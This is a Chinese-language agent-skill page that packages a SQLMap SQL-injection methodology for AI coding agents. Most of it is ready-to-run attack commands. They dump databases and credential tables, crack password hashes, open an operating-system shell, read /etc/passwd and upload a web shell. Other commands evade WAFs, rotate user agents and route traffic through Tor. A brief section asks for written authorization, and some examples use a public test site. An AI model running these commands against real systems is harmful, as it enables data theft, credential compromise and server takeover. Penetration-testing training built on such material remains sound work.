# Sqlmap Database Pentesting

> 提供使用 SQLMap 进行自动化 SQL 注入检测与利用的系统化方法论。触发词：SQL注入、SQLMap、数据库渗透、注入检测、数据提取、数据库枚举

- Skill: `kscz0000/sqlmap-database-pentesting` (Agent Skill)
- Install (CLI): `npx skillmds@latest add kscz0000/sqlmap-database-pentesting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/kscz0000/sqlmap-database-pentesting/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Data & Analytics
- Author: kscz0000 (https://skillmd.com/u/kscz0000)
- Updated: 2026-09-21
- Page: https://skillmd.com/skills/kscz0000/sqlmap-database-pentesting

---


# SQLMap 数据库渗透测试

## 目的

提供使用 SQLMap 进行自动化 SQL 注入检测与利用的系统化方法论。本技能涵盖数据库枚举、表和列发现、数据提取、多种目标指定方法，以及针对 MySQL、PostgreSQL、MSSQL、Oracle 等数据库管理系统的高级利用技术。

## 输入 / 前置条件

- **目标 URL**：带有可注入参数的 Web 应用 URL（例如 `?id=1`）
- **SQLMap 安装**：Kali Linux 预装或从 GitHub 下载
- **已验证的注入点**：已确认或疑似存在 SQL 注入的 URL 参数
- **请求文件（可选）**：Burp Suite 捕获的 HTTP 请求，用于基于 POST 的注入
- **授权**：渗透测试活动的书面许可

## 输出 / 交付物

- **数据库枚举**：目标服务器上所有数据库的列表
- **表结构**：目标数据库中的完整表名
- **列映射**：每张表的列名和数据类型
- **提取数据**：转储的记录，包括用户名、密码和敏感数据
- **哈希值**：用于离线破解的密码哈希
- **漏洞报告**：SQL 注入类型和严重程度的确认

## 核心工作流

### 1. 识别 SQL 注入漏洞

#### 手动验证
```bash
# 添加单引号破坏查询
http://target.com/page.php?id=1'

# 如果出现错误消息，可能存在 SQL 注入
# 错误示例："You have an error in your SQL syntax"
```

#### 初始 SQLMap 扫描
```bash
# 基本漏洞检测
sqlmap -u "http://target.com/page.php?id=1" --batch

# 详细输出模式
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
```

### 2. 枚举数据库

#### 列出所有数据库
```bash
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
```

**关键选项：**
- `-u`：带有可注入参数的目标 URL
- `--dbs`：枚举数据库名称
- `--batch`：使用默认答案（非交互模式）

### 3. 枚举表

#### 列出指定数据库中的表
```bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
```

**关键选项：**
- `-D`：指定目标数据库名称
- `--tables`：枚举表名

### 4. 枚举列

#### 列出指定表中的列
```bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
```

**关键选项：**
- `-T`：指定目标表名
- `--columns`：枚举列名

### 5. 提取数据

#### 转储指定表数据
```bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
```

#### 转储指定列
```bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
```

#### 转储整个数据库
```bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
```

**关键选项：**
- `--dump`：从指定表提取所有数据
- `--dump-all`：从所有表提取所有数据
- `-C`：指定要提取的列名

### 6. 高级目标选项

#### 从 HTTP 请求文件加载目标
```bash
# 将 Burp Suite 请求保存到文件，然后执行：
sqlmap -r /path/to/request.txt --dbs --batch
```

#### 从日志文件加载目标
```bash
# 使用包含多个请求的日志文件
sqlmap -l /path/to/logfile --dbs --batch
```

#### 批量目标扫描
```bash
# 创建包含 URL 的文件，每行一个：
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch
```

#### 通过 Google Dorks 搜索目标（谨慎使用）
```bash
# 自动查找并测试易受攻击的网站（仅限合法目标）
sqlmap -g "inurl:?id= site:yourdomain.com" --batch
```

## 快速参考命令

### 数据库枚举流程

| 阶段 | 命令 |
|------|------|
| 列出数据库 | `sqlmap -u "URL" --dbs --batch` |
| 列出表 | `sqlmap -u "URL" -D dbname --tables --batch` |
| 列出列 | `sqlmap -u "URL" -D dbname -T tablename --columns --batch` |
| 转储数据 | `sqlmap -u "URL" -D dbname -T tablename --dump --batch` |
| 转储全部 | `sqlmap -u "URL" -D dbname --dump-all --batch` |

### 支持的数据库管理系统

| DBMS | 支持级别 |
|------|----------|
| MySQL | 完全支持 |
| PostgreSQL | 完全支持 |
| Microsoft SQL Server | 完全支持 |
| Oracle | 完全支持 |
| Microsoft Access | 完全支持 |
| IBM DB2 | 完全支持 |
| SQLite | 完全支持 |
| Firebird | 完全支持 |
| Sybase | 完全支持 |
| SAP MaxDB | 完全支持 |
| HSQLDB | 完全支持 |
| Informix | 完全支持 |

### SQL 注入技术

| 技术 | 描述 | 参数 |
|------|------|------|
| 布尔盲注 | 通过真假响应推断数据 | `--technique=B` |
| 时间盲注 | 利用时间延迟推断数据 | `--technique=T` |
| 报错注入 | 从错误消息中提取数据 | `--technique=E` |
| UNION 查询注入 | 使用 UNION 追加结果 | `--technique=U` |
| 堆叠查询 | 执行多条语句 | `--technique=S` |
| 带外注入 | 利用 DNS 或 HTTP 进行数据外传 | `--technique=Q` |

### 常用选项

| 选项 | 描述 |
|------|------|
| `-u` | 目标 URL |
| `-r` | 从文件加载 HTTP 请求 |
| `-l` | 从 Burp/WebScarab 日志解析目标 |
| `-m` | 包含多个目标的批量文件 |
| `-g` | Google dork（请负责任地使用） |
| `--dbs` | 枚举数据库 |
| `--tables` | 枚举表 |
| `--columns` | 枚举列 |
| `--dump` | 转储表数据 |
| `--dump-all` | 转储所有数据库数据 |
| `-D` | 指定数据库 |
| `-T` | 指定表 |
| `-C` | 指定列 |
| `--batch` | 非交互模式 |
| `--random-agent` | 使用随机 User-Agent |
| `--level` | 测试级别（1-5） |
| `--risk` | 测试风险等级（1-3） |

## 约束与限制

### 操作边界
- 目标 URL 中需要有效的可注入参数
- 需要与目标数据库服务器的网络连接
- 大型数据库转储可能需要较长时间
- 部分 WAF/IPS 系统可能会拦截 SQLMap 流量
- 基于时间的攻击比基于报错的攻击慢得多

### 性能考量
- 使用 `--threads` 加速枚举（默认：1）
- 对大型表使用 `--start` 和 `--stop` 限制转储范围
- 如果已知更快的注入方法，使用 `--technique` 指定

### 法律要求
- 仅对获得明确书面授权的系统进行测试
- 对未知网站进行 Google dork 攻击属于违法行为
- 记录所有测试活动和发现
- 遵守约定规则中定义的范围限制

### 检测风险
- SQLMap 会产生大量日志记录
- 使用 `--random-agent` 变换 User-Agent 头
- 考虑使用 `--delay` 避免触发速率限制
- 通过 `--tor` 经由 Tor 代理实现匿名（仅限授权测试）

## 示例

### 示例 1：完整数据库枚举
```bash
# 步骤 1：发现数据库
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
# 结果：找到 acuart 数据库

# 步骤 2：列出表
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
# 结果：users、products、carts 等

# 步骤 3：列出列
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
# 结果：username、password、email 列

# 步骤 4：转储用户凭据
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
```

### 示例 2：POST 请求注入
```bash
# 将 Burp 请求保存到文件（login.txt）：
# POST /login.php HTTP/1.1
# Host: target.com
# Content-Type: application/x-www-form-urlencoded
# 
# username=admin&password=test

# 使用请求文件运行 SQLMap
sqlmap -r /root/Desktop/login.txt -p username --dbs --batch
```

### 示例 3：批量目标扫描
```bash
# 创建 bulkfile.txt：
echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt

# 扫描所有目标
sqlmap -m bulkfile.txt --dbs --batch
```

### 示例 4：深度测试
```bash
# 高级别和高风险的彻底测试
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3

# 指定所有注入技术
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
```

### 示例 5：提取特定凭据
```bash
# 针对特定列
sqlmap -u "http://target.com/page.php?id=1" \
  -D webapp \
  -T admin_users \
  -C admin_name,admin_pass,admin_email \
  --dump --batch

# 自动破解密码哈希
sqlmap -u "http://target.com/page.php?id=1" \
  -D webapp \
  -T users \
  --dump --batch \
  --passwords
```

### 示例 6：操作系统 Shell 访问（高级）
```bash
# 获取交互式操作系统 Shell（需要 DBA 权限）
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch

# 执行特定操作系统命令
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch

# 从服务器读取文件
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch

# 上传文件到服务器
sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch
```

## 故障排除

### 问题："Parameter does not seem injectable"
**原因**：SQLMap 无法找到注入点
**解决方案**：
```bash
# 提高测试级别和风险等级
sqlmap -u "URL" --dbs --batch --level=5 --risk=3

# 显式指定参数
sqlmap -u "URL" -p "id" --dbs --batch

# 尝试不同的注入技术
sqlmap -u "URL" --dbs --batch --technique=BT

# 添加前缀/后缀绕过过滤器
sqlmap -u "URL" --dbs --batch --prefix="'" --suffix="-- -"
```

### 问题：目标位于 WAF/防火墙后面
**原因**：Web 应用防火墙拦截请求
**解决方案**：
```bash
# 使用 tamper 脚本
sqlmap -u "URL" --dbs --batch --tamper=space2comment

# 列出可用的 tamper 脚本
sqlmap --list-tampers

# 常见 tamper 组合
sqlmap -u "URL" --dbs --batch --tamper=space2comment,between,randomcase

# 添加请求间延迟
sqlmap -u "URL" --dbs --batch --delay=2

# 使用随机 User-Agent
sqlmap -u "URL" --dbs --batch --random-agent
```

### 问题：连接超时
**原因**：网络问题或目标响应缓慢
**解决方案**：
```bash
# 增加超时时间
sqlmap -u "URL" --dbs --batch --timeout=60

# 减少线程数
sqlmap -u "URL" --dbs --batch --threads=1

# 增加重试次数
sqlmap -u "URL" --dbs --batch --retries=5
```

### 问题：基于时间的攻击太慢
**原因**：默认时间延迟过于保守
**解决方案**：
```bash
# 减少时间延迟（有风险，可能导致漏报）
sqlmap -u "URL" --dbs --batch --time-sec=3

# 如果可能，改用布尔盲注
sqlmap -u "URL" --dbs --batch --technique=B
```

### 问题：无法转储大型表
**原因**：表中记录过多
**解决方案**：
```bash
# 限制记录数量
sqlmap -u "URL" -D db -T table --dump --batch --start=1 --stop=100

# 仅转储特定列
sqlmap -u "URL" -D db -T table -C username,password --dump --batch

# 排除特定列
sqlmap -u "URL" -D db -T table --dump --batch --exclude-sysdbs
```

### 问题：长时间扫描过程中会话中断
**原因**：会话超时或连接重置
**解决方案**：
```bash
# 保存并恢复会话
sqlmap -u "URL" --dbs --batch --output-dir=/root/sqlmap_session

# 从已保存的会话恢复
sqlmap -u "URL" --dbs --batch --resume

# 使用持久 HTTP 连接
sqlmap -u "URL" --dbs --batch --keep-alive
```

## 适用场景
本技能适用于执行概述中描述的工作流或操作。

